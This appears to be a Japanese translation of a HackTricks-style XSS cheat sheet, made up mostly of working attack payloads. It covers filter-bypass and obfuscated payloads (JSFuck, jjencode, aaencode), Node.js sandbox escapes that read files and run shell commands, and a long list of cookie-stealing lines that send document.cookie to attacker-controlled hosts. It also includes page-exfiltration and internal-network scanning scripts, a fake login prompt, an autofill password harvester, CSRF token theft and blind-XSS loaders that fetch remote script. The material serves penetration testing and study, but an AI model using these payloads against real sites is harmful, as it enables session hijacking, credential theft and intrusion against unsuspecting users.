Ruby-On-Rails バイパス
RoR mass assignment のため、クォートがHTMLに挿入され、その後クォートの制限がバイパスされ、追加のフィールド(onfocus)がタグ内に追加できます。
例として(このレポートから)、以下のペイロードを送信する場合:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
キーと値のペアは次のようにエコーされます:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
その後、onfocus属性が挿入されます:
XSSが発生します。
特別な組み合わせ
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302レスポンスでのヘッダーインジェクションを利用したXSS
もし302リダイレクトレスポンスにヘッダーをインジェクトできることがわかった場合、ブラウザに任意のJavaScriptを実行させることを試みることができます。これは簡単ではありません。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは役に立ちません。
このレポートとこのレポートでは、Locationヘッダー内でいくつかのプロトコルをテストし、ブラウザがボディ内のXSSペイロードを検査し、実行することを許可するものがあるかどうかを読むことができます。
過去に知られているプロトコルには、mailto://
, //x:1/
, ws://
, wss://
, 空のLocationヘッダー, resource://
があります。
文字、数字、ドットのみ
もしコールバックを指定できて、それがこれらの文字に限定されている場合。この投稿のこのセクションを読むと、この振る舞いをどのように悪用するかがわかります。
XSSに有効な<script>
のContent-Types
(こちらから) もしapplication/octet-stream
のようなcontent-typeでスクリプトをロードしようとすると、Chromeは以下のエラーを表示します:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chromeがロードされたスクリプトを実行することをサポートする唯一のContent-Typeは、https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.ccからのconst kSupportedJavascriptTypes
内にあります。
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
XSSにおけるスクリプトタイプ
(こちら) では、スクリプトをロードするために指定できるタイプはどれですか?
<script type="???"></script>
* **モジュール** (デフォルト、説明不要)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、多くのデータ(HTML, CSS, JSなど)を一つの**`.wbn`**ファイルにパッケージ化できる機能です。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: インポート構文を改善することを可能にします
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
この挙動は、このライトアップでライブラリをevalにリマップし、それを悪用してXSSをトリガーするために使用されました。
- speculationrules: この機能は主にプリレンダリングによって引き起こされる問題を解決するためにあります。動作は以下の通りです:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Web Content-TypesをXSSに利用する
(こちらより)以下のコンテンツタイプは、すべてのブラウザでXSSを実行できます:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
- application/rss+xml (オフ)
- application/atom+xml (オフ)
他のブラウザでは、任意のJSを実行するために他の**Content-Types
**を使用できます。詳細はこちらをチェックしてください:https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xmlコンテンツタイプ
ページがtext/xmlコンテンツタイプを返している場合、名前空間を指定して任意のJSを実行することが可能です:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
特殊置換パターン
"some {{template}} data".replace("{{template}}", <user_input>)
のようなものが使用される場合、攻撃者は特殊な文字列の置換を利用して保護を回避しようとするかもしれません: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
例えば、このライトアップでは、スクリプト内のJSON文字列をエスケープして任意のコードを実行するためにこれが使用されました。
ChromeキャッシュからのXSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
XS Jail 脱出
使用できる文字が限られている場合は、XSJailの問題に対する他の有効な解決策を確認してください:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
すべてが未定義である場合、信頼できないコードを実行する前に(このライトアップのように)、"無から"有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
- import() を使用して
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
require
を間接的にアクセスする
これによると、モジュールはNode.jsによって次のように関数でラップされます。
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
したがって、そのモジュールから別の関数を呼び出すことができれば、その関数からarguments.callee.caller.arguments[1]
を使用して**require
**にアクセスすることが可能です。
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
前の例と同様に、エラーハンドラーを使用してモジュールのラッパーにアクセスし、require
関数を取得することが可能です:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
難読化 & 高度なバイパス
- ページ内の異なる難読化: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- より洗練されたJSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 一般的なペイロード
複数のペイロードを1つに
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
クッキーの取得
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません。しかし、運が良ければ、この保護をバイパスする方法がいくつかあります。 {% endhint %}
ページ内容の盗み取り
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
内部IPを見つける
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
ポートスキャナー (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
ポートスキャナー (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
短い時間は、ポートが応答していることを示します 長い時間は、応答がないことを示します。
Chromeで禁止されているポートのリストはこちら、Firefoxではこちらを確認してください。
資格情報を求めるボックス
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
自動入力パスワードのキャプチャ
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
パスワードフィールドに任意のデータが入力されると、ユーザー名とパスワードが攻撃者のサーバーに送信されます。クライアントが保存されたパスワードを選択して何も書かなくても、資格情報は外部に漏れます。
キーロガー
GitHubで検索するだけで、いくつか異なるものを見つけました:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- また、metasploitの
http_javascript_keylogger
を使用することもできます
CSRFトークンの盗難
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessageメッセージの盗み取り
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
サービスワーカーの悪用
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Shadow DOMへのアクセス
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
ポリグロット
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Blind XSSペイロード
以下も使用できます: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - 隠されたコンテンツへのアクセス
